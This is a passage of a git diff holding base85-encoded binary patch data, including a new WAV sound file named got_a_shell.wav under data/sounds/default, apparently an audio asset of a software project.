zIh|ZoMBBS#8YeuZ=vuLmNVfRv@eS2-)I9uLQEKVl&ILI$hBLM*k5o02ovfm7a(;|& z4{1SYBAo=fbyJWxjUF?0H~h9$dQ}#q{ITZI2He8lKNYd*-PB3kHTBo{m})P_ww|A7 z_vET$iZTlOh=zv;)Wviutn26=u;q1(3ds9M*((^y08s2@xK%LMvp6`))rcDZaIClc z(z4j(OOBI>m0346i&?tLD2mwN#JZJ#_@>dohc=+J0%8lX!$U`V%i(Z2X{WpKKwDU@ z-%U_iOvFH`qU2$VKv5YnLjxjc3KR|q-{425;K)b76hvvxasxylr1NcI*ra>U1V$1s zZuJMC#9o|cJgJHycafyzcx_CbYdkui#IzeVV(|QvaM)-B=)>p%0DP5EID-g}VV5K1 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 diff --git a/data/sounds/default/got_a_shell.wav b/data/sounds/default/got_a_shell.wav new file mode 100644 index 0000000000000000000000000000000000000000..df1b7271d27008177a0ff7b42bdb17a2c1fc046e GIT binary patch literal 41002 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 